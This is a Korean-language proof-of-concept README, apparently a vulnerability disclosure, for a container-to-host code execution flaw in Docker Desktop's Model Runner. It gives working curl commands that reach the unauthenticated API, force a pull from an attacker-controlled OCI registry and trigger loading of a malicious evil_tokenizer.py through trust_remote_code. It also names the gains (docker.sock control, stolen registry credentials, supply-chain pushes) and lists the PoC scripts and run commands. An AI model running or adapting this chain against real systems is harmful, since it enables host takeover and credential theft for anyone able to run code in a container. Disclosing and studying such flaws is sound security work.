
Docker Model Runner container-to-host RCE / Escape: Docker Model Runner의 MLX / SGLANG / VLLM 추론 백엔드에서 컨테이너-호스트 코드 실행을 허용하는 치명적인 취약점입니다.
Docker Desktop(4.40.0~4.67.x) 호스트의 모든 컨테이너는 두 번의 HTTP 요청만으로 호스트에서 코드를 실행할 수 있습니다. 소켓 마운트도, --privileged도, 추가 capability도 필요 없습니다.
모든 컨테이너는 인증 없이 model-runner.docker.internal의 Model Runner에 도달할 수 있습니다. Model Runner는 사용자가 지정한 OCI 레지스트리에서 모델을 가져와 다이제스트를 검증하지 않은 채 저장합니다. Python 백엔드(vLLM, MLX, SGLang)는 trust_remote_code=True로 모델을 로드하며(MLX의 경우 구성 입력에서 trust remote code를 아예 인식하지 못합니다), 모델이 tokenizer_config.json에서 참조하는 모든 .py 파일을 임포트합니다. 그 .py 파일은 데스크톱 사용자 권한으로 실행됩니다.
시작 위치: 공격자는 호스트의 모든 컨테이너 내부에서 코드를 실행할 수 있습니다. 적대적 베이스 이미지, 개발 작업 공간의 악성 npm/pip 설치, 공격자가 제어하는 코드를 실행하는 CI 러너 등. Docker 소켓 마운트도, --privileged도, 추가 capability도 필요 없습니다.
Model Runner 탐색.
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200이면 Model Runner가 켜져 있고 이 컨테이너에서 접근 가능하다는 뜻입니다. 인증도 Origin 헤더도 필요 없습니다.
악성 OCI 레지스트리를 준비합니다. OCI 배포 스펙을 말하는 모든 HTTP 서버가 가능합니다. 레지스트리는 호스트에서 접근 가능해야 합니다(Model Runner는 컨테이너가 아닌 호스트에서 실행됩니다). 공개 인터넷에 호스팅하거나 로컬에서 실행하고 포트를 공개하면 됩니다(이 PoC의 docker-compose.yml은 후자를 사용합니다). 이 레지스트리는 최소한의 유효한 Llama 모델을 제공하며, 해당 모델의 tokenizer_config.json에는 evil_tokenizer.py를 가리키는 auto_map이 있습니다. evil_tokenizer.py는 호스트 페이로드입니다. rce_registry.py를 참조하세요.
Model Runner가 사용자 레지스트리에서 풀하도록 만듭니다.
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner는 매니페스트와 모든 blob을 다운로드하여 디스크 저장소에 기록합니다. 다이제스트를 다시 계산하거나 비교하지 않으며 서명 검사도 하지 않습니다. 악성 모델이 이제 설치되었습니다.
추론을 트리거하여 모델을 로드합니다.
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner는 Python 백엔드(vLLM, MLX 또는 SGLang)를 선택하고 저장된 모델을 가리키는 --model <bundle_dir>로 실행합니다. 백엔드는 AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True)를 호출합니다. Transformers는 tokenizer_config.json을 읽고 auto_map을 확인한 다음 번들 디렉터리에서 evil_tokenizer.py를 임포트합니다. 모듈 수준 코드는 임포트 시점에 실행됩니다.
페이로드가 호스트에서 실행됩니다. Docker Desktop 사용자 권한으로, 어떤 컨테이너 밖에서, 사용자의 전체 파일시스템과 네트워크 접근 권한으로 실행됩니다. 추론 자체는 보통 실패하지만(모델이 실제로 실행되기엔 너무 작음), 문제없습니다. 임포트가 먼저 일어났기 때문입니다.
이를 통해 공격자가 얻는 것.
/var/run/docker.sock에 접근할 수 있습니다. 데몬 제어: 권한 있는 컨테이너 생성, 호스트 파일시스템을 그중 하나에 마운트, 다른 컨테이너에 exec 등.~/.docker/config.json에는 사용자가 로그인한 모든 레지스트리의 자격 증명이 있습니다. 공급망 전환: 악성 이미지를 업스트림으로 푸시.rce_registry.py:45-105 줄을 원하는 페이로드로 교체하세요.
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
증명 결과는 /tmp/poc_rce_proof에 남습니다.
rce_registry.py - 가짜 OCI 레지스트리, 최소 Llama 모델과 evil_tokenizer.py를 제공test_claims.py - 각 주장을 소스와 실행 중인 시스템에 대조 검증run_poc.sh - 래퍼docker-compose.yml - 레지스트리 + 권한 없는 공격자 컨테이너Dockerfile.registry, Dockerfile.attacker - 이미지